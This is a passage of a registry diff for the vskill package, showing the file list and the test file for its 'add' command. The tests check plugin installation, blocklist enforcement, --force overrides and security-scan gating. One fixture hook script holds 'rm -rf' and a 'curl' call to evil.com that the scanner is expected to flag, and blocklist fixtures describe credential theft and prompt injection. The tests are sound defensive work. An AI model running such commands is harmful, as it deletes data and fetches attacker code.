vskill 0.1.1 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (110) hide show
  1. package/dist/agents/agents-registry.d.ts +48 -37
  2. package/dist/agents/agents-registry.js +206 -261
  3. package/dist/agents/agents-registry.js.map +1 -1
  4. package/dist/agents/agents-registry.test.d.ts +1 -0
  5. package/dist/agents/agents-registry.test.js +203 -0
  6. package/dist/agents/agents-registry.test.js.map +1 -0
  7. package/dist/api/client.test.d.ts +1 -0
  8. package/dist/api/client.test.js +204 -0
  9. package/dist/api/client.test.js.map +1 -0
  10. package/dist/blocklist/blocklist.d.ts +23 -0
  11. package/dist/blocklist/blocklist.js +116 -0
  12. package/dist/blocklist/blocklist.js.map +1 -0
  13. package/dist/blocklist/blocklist.test.d.ts +1 -0
  14. package/dist/blocklist/blocklist.test.js +259 -0
  15. package/dist/blocklist/blocklist.test.js.map +1 -0
  16. package/dist/blocklist/types.d.ts +18 -0
  17. package/dist/blocklist/types.js +5 -0
  18. package/dist/blocklist/types.js.map +1 -0
  19. package/dist/commands/add.d.ts +2 -0
  20. package/dist/commands/add.js +221 -6
  21. package/dist/commands/add.js.map +1 -1
  22. package/dist/commands/add.test.d.ts +1 -0
  23. package/dist/commands/add.test.js +682 -0
  24. package/dist/commands/add.test.js.map +1 -0
  25. package/dist/commands/blocklist.d.ts +1 -0
  26. package/dist/commands/blocklist.js +87 -0
  27. package/dist/commands/blocklist.js.map +1 -0
  28. package/dist/commands/blocklist.test.d.ts +1 -0
  29. package/dist/commands/blocklist.test.js +158 -0
  30. package/dist/commands/blocklist.test.js.map +1 -0
  31. package/dist/commands/remove.d.ts +7 -0
  32. package/dist/commands/remove.js +91 -0
  33. package/dist/commands/remove.js.map +1 -0
  34. package/dist/commands/remove.test.d.ts +1 -0
  35. package/dist/commands/remove.test.js +164 -0
  36. package/dist/commands/remove.test.js.map +1 -0
  37. package/dist/commands/submit.d.ts +1 -1
  38. package/dist/commands/submit.js +26 -16
  39. package/dist/commands/submit.js.map +1 -1
  40. package/dist/commands/submit.test.d.ts +1 -0
  41. package/dist/commands/submit.test.js +74 -0
  42. package/dist/commands/submit.test.js.map +1 -0
  43. package/dist/index.js +21 -2
  44. package/dist/index.js.map +1 -1
  45. package/dist/lockfile/lockfile.test.d.ts +1 -0
  46. package/dist/lockfile/lockfile.test.js +196 -0
  47. package/dist/lockfile/lockfile.test.js.map +1 -0
  48. package/dist/lockfile/types.d.ts +8 -0
  49. package/dist/marketplace/index.d.ts +2 -0
  50. package/dist/marketplace/index.js +2 -0
  51. package/dist/marketplace/index.js.map +1 -0
  52. package/dist/marketplace/marketplace.d.ts +34 -0
  53. package/dist/marketplace/marketplace.js +51 -0
  54. package/dist/marketplace/marketplace.js.map +1 -0
  55. package/dist/marketplace/marketplace.test.d.ts +1 -0
  56. package/dist/marketplace/marketplace.test.js +103 -0
  57. package/dist/marketplace/marketplace.test.js.map +1 -0
  58. package/dist/scanner/index.d.ts +4 -0
  59. package/dist/scanner/index.js +4 -0
  60. package/dist/scanner/index.js.map +1 -1
  61. package/dist/scanner/patterns.test.d.ts +1 -0
  62. package/dist/scanner/patterns.test.js +353 -0
  63. package/dist/scanner/patterns.test.js.map +1 -0
  64. package/dist/scanner/repo-scanner.d.ts +30 -0
  65. package/dist/scanner/repo-scanner.js +190 -0
  66. package/dist/scanner/repo-scanner.js.map +1 -0
  67. package/dist/scanner/tier1.test.d.ts +1 -0
  68. package/dist/scanner/tier1.test.js +182 -0
  69. package/dist/scanner/tier1.test.js.map +1 -0
  70. package/dist/scanner/tier2-llm.d.ts +28 -0
  71. package/dist/scanner/tier2-llm.js +130 -0
  72. package/dist/scanner/tier2-llm.js.map +1 -0
  73. package/dist/scanner/types.d.ts +58 -0
  74. package/dist/scanner/types.js +5 -0
  75. package/dist/scanner/types.js.map +1 -0
  76. package/dist/security/index.d.ts +2 -0
  77. package/dist/security/index.js +2 -0
  78. package/dist/security/index.js.map +1 -0
  79. package/dist/security/platform-security.d.ts +17 -0
  80. package/dist/security/platform-security.js +34 -0
  81. package/dist/security/platform-security.js.map +1 -0
  82. package/dist/security/platform-security.test.d.ts +1 -0
  83. package/dist/security/platform-security.test.js +92 -0
  84. package/dist/security/platform-security.test.js.map +1 -0
  85. package/dist/settings/index.d.ts +2 -0
  86. package/dist/settings/index.js +2 -0
  87. package/dist/settings/index.js.map +1 -0
  88. package/dist/settings/settings.d.ts +16 -0
  89. package/dist/settings/settings.js +73 -0
  90. package/dist/settings/settings.js.map +1 -0
  91. package/dist/settings/settings.test.d.ts +1 -0
  92. package/dist/settings/settings.test.js +103 -0
  93. package/dist/settings/settings.test.js.map +1 -0
  94. package/dist/utils/__tests__/paths.test.d.ts +1 -0
  95. package/dist/utils/__tests__/paths.test.js +22 -0
  96. package/dist/utils/__tests__/paths.test.js.map +1 -0
  97. package/dist/utils/__tests__/validation.test.d.ts +1 -0
  98. package/dist/utils/__tests__/validation.test.js +49 -0
  99. package/dist/utils/__tests__/validation.test.js.map +1 -0
  100. package/dist/utils/browser.d.ts +6 -0
  101. package/dist/utils/browser.js +37 -0
  102. package/dist/utils/browser.js.map +1 -0
  103. package/dist/utils/paths.d.ts +5 -0
  104. package/dist/utils/paths.js +13 -0
  105. package/dist/utils/paths.js.map +1 -0
  106. package/dist/utils/validation.d.ts +14 -0
  107. package/dist/utils/validation.js +34 -0
  108. package/dist/utils/validation.js.map +1 -0
  109. package/package.json +5 -2
  110. package/scripts/preuninstall.cjs +58 -0
@@ -0,0 +1,682 @@
1
+ import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
2
+ // ---------------------------------------------------------------------------
3
+ // Mock node:fs
4
+ // ---------------------------------------------------------------------------
5
+ const mockMkdirSync = vi.fn();
6
+ const mockWriteFileSync = vi.fn();
7
+ const mockReadFileSync = vi.fn();
8
+ const mockExistsSync = vi.fn();
9
+ const mockCpSync = vi.fn();
10
+ const mockChmodSync = vi.fn();
11
+ const mockReaddirSync = vi.fn();
12
+ const mockStatSync = vi.fn();
13
+ vi.mock("node:fs", () => ({
14
+ mkdirSync: (...args) => mockMkdirSync(...args),
15
+ writeFileSync: (...args) => mockWriteFileSync(...args),
16
+ readFileSync: (...args) => mockReadFileSync(...args),
17
+ existsSync: (...args) => mockExistsSync(...args),
18
+ cpSync: (...args) => mockCpSync(...args),
19
+ chmodSync: (...args) => mockChmodSync(...args),
20
+ readdirSync: (...args) => mockReaddirSync(...args),
21
+ statSync: (...args) => mockStatSync(...args),
22
+ }));
23
+ // ---------------------------------------------------------------------------
24
+ // Mock node:path (pass-through with join tracking)
25
+ // ---------------------------------------------------------------------------
26
+ vi.mock("node:path", async () => {
27
+ const actual = await vi.importActual("node:path");
28
+ return {
29
+ ...actual,
30
+ join: (...args) => actual.join(...args),
31
+ };
32
+ });
33
+ // ---------------------------------------------------------------------------
34
+ // Mock node:crypto
35
+ // ---------------------------------------------------------------------------
36
+ const mockDigest = vi.fn().mockReturnValue("abcdef123456xxxx");
37
+ const mockUpdate = vi.fn().mockReturnValue({ digest: mockDigest });
38
+ vi.mock("node:crypto", () => ({
39
+ createHash: () => ({ update: mockUpdate }),
40
+ }));
41
+ // ---------------------------------------------------------------------------
42
+ // Mock agents registry
43
+ // ---------------------------------------------------------------------------
44
+ const mockDetectInstalledAgents = vi.fn();
45
+ vi.mock("../agents/agents-registry.js", () => ({
46
+ detectInstalledAgents: (...args) => mockDetectInstalledAgents(...args),
47
+ }));
48
+ // ---------------------------------------------------------------------------
49
+ // Mock lockfile
50
+ // ---------------------------------------------------------------------------
51
+ const mockEnsureLockfile = vi.fn();
52
+ const mockWriteLockfile = vi.fn();
53
+ vi.mock("../lockfile/index.js", () => ({
54
+ ensureLockfile: (...args) => mockEnsureLockfile(...args),
55
+ writeLockfile: (...args) => mockWriteLockfile(...args),
56
+ }));
57
+ // ---------------------------------------------------------------------------
58
+ // Mock scanner
59
+ // ---------------------------------------------------------------------------
60
+ const mockRunTier1Scan = vi.fn();
61
+ vi.mock("../scanner/index.js", () => ({
62
+ runTier1Scan: (...args) => mockRunTier1Scan(...args),
63
+ }));
64
+ // ---------------------------------------------------------------------------
65
+ // Mock blocklist
66
+ // ---------------------------------------------------------------------------
67
+ const mockCheckBlocklist = vi.fn();
68
+ vi.mock("../blocklist/blocklist.js", () => ({
69
+ checkBlocklist: (...args) => mockCheckBlocklist(...args),
70
+ }));
71
+ // ---------------------------------------------------------------------------
72
+ // Mock security (platform security check)
73
+ // ---------------------------------------------------------------------------
74
+ const mockCheckPlatformSecurity = vi.fn();
75
+ vi.mock("../security/index.js", () => ({
76
+ checkPlatformSecurity: (...args) => mockCheckPlatformSecurity(...args),
77
+ }));
78
+ // ---------------------------------------------------------------------------
79
+ // Mock utils/output (suppress console output in tests)
80
+ // ---------------------------------------------------------------------------
81
+ vi.mock("../utils/output.js", () => ({
82
+ bold: (s) => s,
83
+ green: (s) => s,
84
+ red: (s) => s,
85
+ yellow: (s) => s,
86
+ dim: (s) => s,
87
+ cyan: (s) => s,
88
+ spinner: () => ({ stop: vi.fn() }),
89
+ }));
90
+ // ---------------------------------------------------------------------------
91
+ // Import module under test AFTER mocks
92
+ // ---------------------------------------------------------------------------
93
+ const { addCommand } = await import("./add.js");
94
+ // ---------------------------------------------------------------------------
95
+ // Helpers
96
+ // ---------------------------------------------------------------------------
97
+ function makeScanResult(overrides = {}) {
98
+ return {
99
+ verdict: "PASS",
100
+ findings: [],
101
+ score: 100,
102
+ patternsChecked: 37,
103
+ criticalCount: 0,
104
+ highCount: 0,
105
+ mediumCount: 0,
106
+ lowCount: 0,
107
+ infoCount: 0,
108
+ durationMs: 1,
109
+ ...overrides,
110
+ };
111
+ }
112
+ function makeAgent(overrides = {}) {
113
+ return {
114
+ id: "claude-code",
115
+ displayName: "Claude Code",
116
+ localSkillsDir: ".claude/commands",
117
+ globalSkillsDir: "~/.claude/commands",
118
+ ...overrides,
119
+ };
120
+ }
121
+ // ---------------------------------------------------------------------------
122
+ // Tests
123
+ // ---------------------------------------------------------------------------
124
+ beforeEach(() => {
125
+ vi.clearAllMocks();
126
+ // Suppress console output during tests
127
+ vi.spyOn(console, "log").mockImplementation(() => { });
128
+ vi.spyOn(console, "error").mockImplementation(() => { });
129
+ // Default: platform security returns null (non-fatal, no external results)
130
+ mockCheckPlatformSecurity.mockResolvedValue(null);
131
+ });
132
+ describe("addCommand with --plugin option (plugin directory support)", () => {
133
+ // TC-001: --plugin <name> flag selects sub-plugin from multi-plugin repo
134
+ describe("TC-001: plugin flag selects sub-plugin directory", () => {
135
+ it("selects the sw-frontend plugin directory from a local path with plugins/ structure", async () => {
136
+ const localPath = "/tmp/test-repo";
137
+ // The plugin directory path: /tmp/test-repo/plugins/specweave-frontend/
138
+ mockExistsSync.mockImplementation((p) => {
139
+ if (p.includes("plugins/specweave-frontend"))
140
+ return true;
141
+ if (p.includes(".claude-plugin/marketplace.json"))
142
+ return true;
143
+ return false;
144
+ });
145
+ mockReadFileSync.mockImplementation((p) => {
146
+ if (p.includes("marketplace.json")) {
147
+ return JSON.stringify({
148
+ name: "specweave",
149
+ version: "1.0.225",
150
+ plugins: [
151
+ { name: "sw", source: "./plugins/specweave", version: "1.0.225" },
152
+ { name: "sw-frontend", source: "./plugins/specweave-frontend", version: "1.0.0" },
153
+ ],
154
+ });
155
+ }
156
+ return "";
157
+ });
158
+ // readdirSync for collectPluginContent and fixHookPermissions
159
+ mockReaddirSync.mockImplementation((_dir, opts) => {
160
+ if (typeof opts === "object" && opts !== null && opts.recursive) {
161
+ return ["skills/SKILL.md", "hooks/setup.sh"];
162
+ }
163
+ return [];
164
+ });
165
+ mockRunTier1Scan.mockReturnValue(makeScanResult());
166
+ mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
167
+ mockEnsureLockfile.mockReturnValue({
168
+ version: 1,
169
+ agents: [],
170
+ skills: {},
171
+ createdAt: "2026-01-01T00:00:00.000Z",
172
+ updatedAt: "2026-01-01T00:00:00.000Z",
173
+ });
174
+ // Call addCommand with plugin option and pluginDir (local source)
175
+ await addCommand(localPath, { plugin: "sw-frontend", pluginDir: localPath });
176
+ // The cpSync should have been called with the resolved plugin subdirectory
177
+ expect(mockCpSync).toHaveBeenCalled();
178
+ const cpCall = mockCpSync.mock.calls[0];
179
+ // Source should include plugins/specweave-frontend
180
+ expect(cpCall[0]).toContain("plugins/specweave-frontend");
181
+ });
182
+ });
183
+ // TC-002: Full directory structure preserved on installation
184
+ describe("TC-002: full directory structure is preserved", () => {
185
+ it("recursively copies all subdirectories (skills, hooks, commands, agents, .claude-plugin) to cache", async () => {
186
+ const localPath = "/tmp/test-plugin";
187
+ const pluginSubdir = "/tmp/test-plugin/plugins/specweave-frontend";
188
+ mockExistsSync.mockReturnValue(true);
189
+ mockReadFileSync.mockImplementation((p) => {
190
+ if (p.includes("marketplace.json")) {
191
+ return JSON.stringify({
192
+ name: "specweave",
193
+ version: "1.0.0",
194
+ plugins: [
195
+ { name: "sw-frontend", source: "./plugins/specweave-frontend", version: "1.0.0" },
196
+ ],
197
+ });
198
+ }
199
+ return "# Plugin content";
200
+ });
201
+ // Simulate directory listing for scan
202
+ mockReaddirSync.mockReturnValue([
203
+ "skills",
204
+ "hooks",
205
+ "commands",
206
+ "agents",
207
+ ".claude-plugin",
208
+ ]);
209
+ mockStatSync.mockReturnValue({ isDirectory: () => true });
210
+ mockRunTier1Scan.mockReturnValue(makeScanResult());
211
+ mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
212
+ mockEnsureLockfile.mockReturnValue({
213
+ version: 1,
214
+ agents: [],
215
+ skills: {},
216
+ createdAt: "2026-01-01T00:00:00.000Z",
217
+ updatedAt: "2026-01-01T00:00:00.000Z",
218
+ });
219
+ await addCommand(localPath, { plugin: "sw-frontend", pluginDir: localPath });
220
+ // cpSync must have been called with recursive: true
221
+ expect(mockCpSync).toHaveBeenCalled();
222
+ const cpCall = mockCpSync.mock.calls[0];
223
+ expect(cpCall[2]).toEqual(expect.objectContaining({ recursive: true }));
224
+ });
225
+ });
226
+ // TC-003: Hook script permissions fixed
227
+ describe("TC-003: hook scripts get executable permission", () => {
228
+ it("sets chmod 0o755 on all .sh files in hooks/ after install", async () => {
229
+ const localPath = "/tmp/test-plugin";
230
+ mockExistsSync.mockReturnValue(true);
231
+ mockReadFileSync.mockImplementation((p) => {
232
+ if (p.includes("marketplace.json")) {
233
+ return JSON.stringify({
234
+ name: "specweave",
235
+ version: "1.0.0",
236
+ plugins: [
237
+ { name: "sw-frontend", source: "./plugins/specweave-frontend", version: "1.0.0" },
238
+ ],
239
+ });
240
+ }
241
+ return "# Hook content";
242
+ });
243
+ // When scanning for .sh files in the installed directory
244
+ mockReaddirSync.mockImplementation((dir, opts) => {
245
+ // Return file entries when called with recursive option
246
+ if (typeof opts === "object" && opts !== null && opts.recursive) {
247
+ return [
248
+ "hooks/pre-install.sh",
249
+ "hooks/post-install.sh",
250
+ "skills/SKILL.md",
251
+ "commands/init.md",
252
+ ];
253
+ }
254
+ return [];
255
+ });
256
+ mockRunTier1Scan.mockReturnValue(makeScanResult());
257
+ mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
258
+ mockEnsureLockfile.mockReturnValue({
259
+ version: 1,
260
+ agents: [],
261
+ skills: {},
262
+ createdAt: "2026-01-01T00:00:00.000Z",
263
+ updatedAt: "2026-01-01T00:00:00.000Z",
264
+ });
265
+ await addCommand(localPath, { plugin: "sw-frontend", pluginDir: localPath });
266
+ // chmodSync should be called for each .sh file with 0o755
267
+ const chmodCalls = mockChmodSync.mock.calls;
268
+ const shCalls = chmodCalls.filter((call) => typeof call[0] === "string" && call[0].endsWith(".sh"));
269
+ expect(shCalls.length).toBeGreaterThanOrEqual(2);
270
+ for (const call of shCalls) {
271
+ expect(call[1]).toBe(0o755);
272
+ }
273
+ });
274
+ });
275
+ // TC-004: Security scanning covers all plugin files
276
+ describe("TC-004: security scan covers all plugin files", () => {
277
+ it("scans concatenated content from all plugin files, not just SKILL.md", async () => {
278
+ const localPath = "/tmp/test-plugin";
279
+ mockExistsSync.mockReturnValue(true);
280
+ const hookContent = "#!/bin/bash\nrm -rf /tmp/evil\ncurl http://evil.com/payload";
281
+ const skillContent = "# My Skill\nSafe content here";
282
+ mockReadFileSync.mockImplementation((p) => {
283
+ if (p.includes("marketplace.json")) {
284
+ return JSON.stringify({
285
+ name: "specweave",
286
+ version: "1.0.0",
287
+ plugins: [
288
+ { name: "sw-frontend", source: "./plugins/specweave-frontend", version: "1.0.0" },
289
+ ],
290
+ });
291
+ }
292
+ if (p.includes("hooks/"))
293
+ return hookContent;
294
+ if (p.includes("SKILL.md"))
295
+ return skillContent;
296
+ return "";
297
+ });
298
+ mockReaddirSync.mockImplementation((dir, opts) => {
299
+ if (typeof opts === "object" && opts !== null && opts.recursive) {
300
+ return [
301
+ "hooks/deploy.sh",
302
+ "skills/SKILL.md",
303
+ ];
304
+ }
305
+ return [];
306
+ });
307
+ // The scan should receive concatenated content from all files
308
+ mockRunTier1Scan.mockReturnValue(makeScanResult({
309
+ verdict: "FAIL",
310
+ score: 20,
311
+ findings: [
312
+ {
313
+ patternId: "FS-001",
314
+ patternName: "Recursive delete",
315
+ severity: "critical",
316
+ category: "filesystem-access",
317
+ match: "rm -rf",
318
+ lineNumber: 2,
319
+ context: "rm -rf /tmp/evil",
320
+ },
321
+ {
322
+ patternId: "NA-001",
323
+ patternName: "Curl/wget to unknown host",
324
+ severity: "high",
325
+ category: "network-access",
326
+ match: 'curl http://evil.com/payload',
327
+ lineNumber: 3,
328
+ context: "curl http://evil.com/payload",
329
+ },
330
+ ],
331
+ criticalCount: 1,
332
+ highCount: 1,
333
+ }));
334
+ mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
335
+ mockEnsureLockfile.mockReturnValue({
336
+ version: 1,
337
+ agents: [],
338
+ skills: {},
339
+ createdAt: "2026-01-01T00:00:00.000Z",
340
+ updatedAt: "2026-01-01T00:00:00.000Z",
341
+ });
342
+ // Force install despite failure to reach lockfile update
343
+ await addCommand(localPath, {
344
+ plugin: "sw-frontend",
345
+ pluginDir: localPath,
346
+ force: true,
347
+ });
348
+ // runTier1Scan should have been called with content containing hook file data
349
+ expect(mockRunTier1Scan).toHaveBeenCalled();
350
+ const scannedContent = mockRunTier1Scan.mock.calls[0][0];
351
+ // The scanned content should include hook file content (rm -rf, curl)
352
+ expect(scannedContent).toContain("rm -rf");
353
+ expect(scannedContent).toContain("curl");
354
+ });
355
+ });
356
+ });
357
+ // ---------------------------------------------------------------------------
358
+ // T-013: Blocklist check in GitHub path
359
+ // ---------------------------------------------------------------------------
360
+ describe("addCommand blocklist check (GitHub path)", () => {
361
+ // Mock global fetch for GitHub path tests
362
+ const originalFetch = globalThis.fetch;
363
+ beforeEach(() => {
364
+ globalThis.fetch = vi.fn().mockResolvedValue({
365
+ ok: true,
366
+ text: async () => "# Safe Skill\nNormal content",
367
+ });
368
+ });
369
+ afterEach(() => {
370
+ globalThis.fetch = originalFetch;
371
+ });
372
+ it("blocks installation when skill is on the blocklist", async () => {
373
+ mockCheckBlocklist.mockResolvedValue({
374
+ skillName: "evil-repo",
375
+ threatType: "credential-theft",
376
+ severity: "critical",
377
+ reason: "Steals AWS credentials",
378
+ evidenceUrls: [],
379
+ discoveredAt: "2026-02-01T00:00:00Z",
380
+ });
381
+ const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
382
+ throw new Error("process.exit");
383
+ });
384
+ await expect(addCommand("owner/evil-repo", {})).rejects.toThrow("process.exit");
385
+ expect(mockCheckBlocklist).toHaveBeenCalledWith("evil-repo", undefined);
386
+ expect(mockExit).toHaveBeenCalledWith(1);
387
+ // Tier 1 scan should NOT have been called (blocked before scan)
388
+ expect(mockRunTier1Scan).not.toHaveBeenCalled();
389
+ const errorOutput = console.error.mock.calls
390
+ .map((c) => String(c[0]))
391
+ .join("\n");
392
+ expect(errorOutput).toContain("BLOCKED");
393
+ expect(errorOutput).toContain("credential-theft");
394
+ mockExit.mockRestore();
395
+ });
396
+ it("proceeds normally when skill is NOT on the blocklist", async () => {
397
+ mockCheckBlocklist.mockResolvedValue(null);
398
+ mockRunTier1Scan.mockReturnValue(makeScanResult());
399
+ mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
400
+ mockEnsureLockfile.mockReturnValue({
401
+ version: 1,
402
+ agents: [],
403
+ skills: {},
404
+ createdAt: "2026-01-01T00:00:00.000Z",
405
+ updatedAt: "2026-01-01T00:00:00.000Z",
406
+ });
407
+ await addCommand("owner/safe-repo", {});
408
+ expect(mockCheckBlocklist).toHaveBeenCalledWith("safe-repo", undefined);
409
+ expect(mockRunTier1Scan).toHaveBeenCalled();
410
+ });
411
+ it("uses --skill name for blocklist check when provided", async () => {
412
+ mockCheckBlocklist.mockResolvedValue(null);
413
+ mockRunTier1Scan.mockReturnValue(makeScanResult());
414
+ mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
415
+ mockEnsureLockfile.mockReturnValue({
416
+ version: 1,
417
+ agents: [],
418
+ skills: {},
419
+ createdAt: "2026-01-01T00:00:00.000Z",
420
+ updatedAt: "2026-01-01T00:00:00.000Z",
421
+ });
422
+ await addCommand("owner/repo", { skill: "my-skill" });
423
+ expect(mockCheckBlocklist).toHaveBeenCalledWith("my-skill", undefined);
424
+ });
425
+ });
426
+ // ---------------------------------------------------------------------------
427
+ // T-014: Blocklist check in plugin path
428
+ // ---------------------------------------------------------------------------
429
+ describe("addCommand blocklist check (plugin path)", () => {
430
+ it("blocks plugin installation when plugin is on the blocklist", async () => {
431
+ mockCheckBlocklist.mockResolvedValue({
432
+ skillName: "evil-plugin",
433
+ threatType: "prompt-injection",
434
+ severity: "critical",
435
+ reason: "Injects malicious prompts",
436
+ evidenceUrls: [],
437
+ discoveredAt: "2026-02-01T00:00:00Z",
438
+ });
439
+ mockExistsSync.mockReturnValue(true);
440
+ mockReadFileSync.mockImplementation((p) => {
441
+ if (p.includes("marketplace.json")) {
442
+ return JSON.stringify({
443
+ name: "test",
444
+ version: "1.0.0",
445
+ plugins: [
446
+ { name: "evil-plugin", source: "./plugins/evil-plugin", version: "1.0.0" },
447
+ ],
448
+ });
449
+ }
450
+ return "";
451
+ });
452
+ const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
453
+ throw new Error("process.exit");
454
+ });
455
+ await expect(addCommand("source", { plugin: "evil-plugin", pluginDir: "/tmp/test" })).rejects.toThrow("process.exit");
456
+ expect(mockCheckBlocklist).toHaveBeenCalledWith("evil-plugin");
457
+ expect(mockRunTier1Scan).not.toHaveBeenCalled();
458
+ mockExit.mockRestore();
459
+ });
460
+ it("proceeds with plugin installation when not blocklisted", async () => {
461
+ mockCheckBlocklist.mockResolvedValue(null);
462
+ mockExistsSync.mockReturnValue(true);
463
+ mockReadFileSync.mockImplementation((p) => {
464
+ if (p.includes("marketplace.json")) {
465
+ return JSON.stringify({
466
+ name: "test",
467
+ version: "1.0.0",
468
+ plugins: [
469
+ { name: "safe-plugin", source: "./plugins/safe-plugin", version: "1.0.0" },
470
+ ],
471
+ });
472
+ }
473
+ return "";
474
+ });
475
+ mockReaddirSync.mockReturnValue(["SKILL.md"]);
476
+ mockRunTier1Scan.mockReturnValue(makeScanResult());
477
+ mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
478
+ mockEnsureLockfile.mockReturnValue({
479
+ version: 1,
480
+ agents: [],
481
+ skills: {},
482
+ createdAt: "2026-01-01T00:00:00.000Z",
483
+ updatedAt: "2026-01-01T00:00:00.000Z",
484
+ });
485
+ await addCommand("source", { plugin: "safe-plugin", pluginDir: "/tmp/test" });
486
+ expect(mockCheckBlocklist).toHaveBeenCalledWith("safe-plugin");
487
+ expect(mockRunTier1Scan).toHaveBeenCalled();
488
+ });
489
+ });
490
+ // ---------------------------------------------------------------------------
491
+ // T-015: --force override with warning for blocked skills
492
+ // ---------------------------------------------------------------------------
493
+ describe("addCommand --force with blocked skill", () => {
494
+ const originalFetch = globalThis.fetch;
495
+ beforeEach(() => {
496
+ globalThis.fetch = vi.fn().mockResolvedValue({
497
+ ok: true,
498
+ text: async () => "# Skill content",
499
+ });
500
+ });
501
+ afterEach(() => {
502
+ globalThis.fetch = originalFetch;
503
+ });
504
+ it("shows warning box and continues when --force + blocked (GitHub path)", async () => {
505
+ mockCheckBlocklist.mockResolvedValue({
506
+ skillName: "evil-skill",
507
+ threatType: "credential-theft",
508
+ severity: "critical",
509
+ reason: "Base64-encoded AWS credential exfil",
510
+ evidenceUrls: [],
511
+ discoveredAt: "2026-02-01T00:00:00Z",
512
+ });
513
+ mockRunTier1Scan.mockReturnValue(makeScanResult());
514
+ mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
515
+ mockEnsureLockfile.mockReturnValue({
516
+ version: 1,
517
+ agents: [],
518
+ skills: {},
519
+ createdAt: "2026-01-01T00:00:00.000Z",
520
+ updatedAt: "2026-01-01T00:00:00.000Z",
521
+ });
522
+ await addCommand("owner/evil-skill", { force: true });
523
+ // Should show warning but NOT exit
524
+ const allOutput = console.error.mock.calls
525
+ .map((c) => String(c[0]))
526
+ .join("\n");
527
+ expect(allOutput).toContain("WARNING");
528
+ expect(allOutput).toContain("malicious");
529
+ // Should proceed to tier 1 scan
530
+ expect(mockRunTier1Scan).toHaveBeenCalled();
531
+ });
532
+ it("shows warning box and continues when --force + blocked (plugin path)", async () => {
533
+ mockCheckBlocklist.mockResolvedValue({
534
+ skillName: "evil-plugin",
535
+ threatType: "prompt-injection",
536
+ severity: "critical",
537
+ reason: "Injects malicious prompts",
538
+ evidenceUrls: [],
539
+ discoveredAt: "2026-02-01T00:00:00Z",
540
+ });
541
+ mockExistsSync.mockReturnValue(true);
542
+ mockReadFileSync.mockImplementation((p) => {
543
+ if (p.includes("marketplace.json")) {
544
+ return JSON.stringify({
545
+ name: "test",
546
+ version: "1.0.0",
547
+ plugins: [
548
+ { name: "evil-plugin", source: "./plugins/evil-plugin", version: "1.0.0" },
549
+ ],
550
+ });
551
+ }
552
+ return "";
553
+ });
554
+ mockReaddirSync.mockReturnValue(["SKILL.md"]);
555
+ mockRunTier1Scan.mockReturnValue(makeScanResult());
556
+ mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
557
+ mockEnsureLockfile.mockReturnValue({
558
+ version: 1,
559
+ agents: [],
560
+ skills: {},
561
+ createdAt: "2026-01-01T00:00:00.000Z",
562
+ updatedAt: "2026-01-01T00:00:00.000Z",
563
+ });
564
+ await addCommand("source", { plugin: "evil-plugin", pluginDir: "/tmp/test", force: true });
565
+ const allOutput = console.error.mock.calls
566
+ .map((c) => String(c[0]))
567
+ .join("\n");
568
+ expect(allOutput).toContain("WARNING");
569
+ expect(mockRunTier1Scan).toHaveBeenCalled();
570
+ });
571
+ });
572
+ // ---------------------------------------------------------------------------
573
+ // T-016/T-017: Platform security check in GitHub path
574
+ // ---------------------------------------------------------------------------
575
+ describe("addCommand platform security check (GitHub path)", () => {
576
+ const originalFetch = globalThis.fetch;
577
+ beforeEach(() => {
578
+ globalThis.fetch = vi.fn().mockResolvedValue({
579
+ ok: true,
580
+ text: async () => "# Safe Skill\nNormal content",
581
+ });
582
+ mockCheckBlocklist.mockResolvedValue(null);
583
+ });
584
+ afterEach(() => {
585
+ globalThis.fetch = originalFetch;
586
+ });
587
+ it("blocks installation when platform reports CRITICAL findings", async () => {
588
+ mockCheckPlatformSecurity.mockResolvedValue({
589
+ hasCritical: true,
590
+ overallVerdict: "FAIL",
591
+ providers: [
592
+ { provider: "semgrep", status: "FAIL", verdict: "critical", criticalCount: 3 },
593
+ { provider: "snyk", status: "PASS", verdict: "clean", criticalCount: 0 },
594
+ ],
595
+ reportUrl: "/skills/evil-skill/security",
596
+ });
597
+ const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
598
+ throw new Error("process.exit");
599
+ });
600
+ await expect(addCommand("owner/evil-skill", {})).rejects.toThrow("process.exit");
601
+ expect(mockExit).toHaveBeenCalledWith(1);
602
+ const errorOutput = console.error.mock.calls
603
+ .map((c) => String(c[0]))
604
+ .join("\n");
605
+ expect(errorOutput).toContain("BLOCKED");
606
+ expect(errorOutput).toContain("CRITICAL");
607
+ expect(errorOutput).toContain("semgrep");
608
+ // Should NOT proceed to tier 1 scan
609
+ expect(mockRunTier1Scan).not.toHaveBeenCalled();
610
+ mockExit.mockRestore();
611
+ });
612
+ it("shows warning and proceeds when CRITICAL + --force", async () => {
613
+ mockCheckPlatformSecurity.mockResolvedValue({
614
+ hasCritical: true,
615
+ overallVerdict: "FAIL",
616
+ providers: [
617
+ { provider: "semgrep", status: "FAIL", verdict: "critical", criticalCount: 2 },
618
+ ],
619
+ reportUrl: "/skills/evil-skill/security",
620
+ });
621
+ mockRunTier1Scan.mockReturnValue(makeScanResult());
622
+ mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
623
+ mockEnsureLockfile.mockReturnValue({
624
+ version: 1,
625
+ agents: [],
626
+ skills: {},
627
+ createdAt: "2026-01-01T00:00:00.000Z",
628
+ updatedAt: "2026-01-01T00:00:00.000Z",
629
+ });
630
+ await addCommand("owner/evil-skill", { force: true });
631
+ const errorOutput = console.error.mock.calls
632
+ .map((c) => String(c[0]))
633
+ .join("\n");
634
+ expect(errorOutput).toContain("WARNING");
635
+ expect(errorOutput).toContain("CRITICAL");
636
+ expect(errorOutput).toContain("semgrep");
637
+ // Should proceed to tier 1 scan
638
+ expect(mockRunTier1Scan).toHaveBeenCalled();
639
+ });
640
+ it("shows info message and proceeds when scans are PENDING", async () => {
641
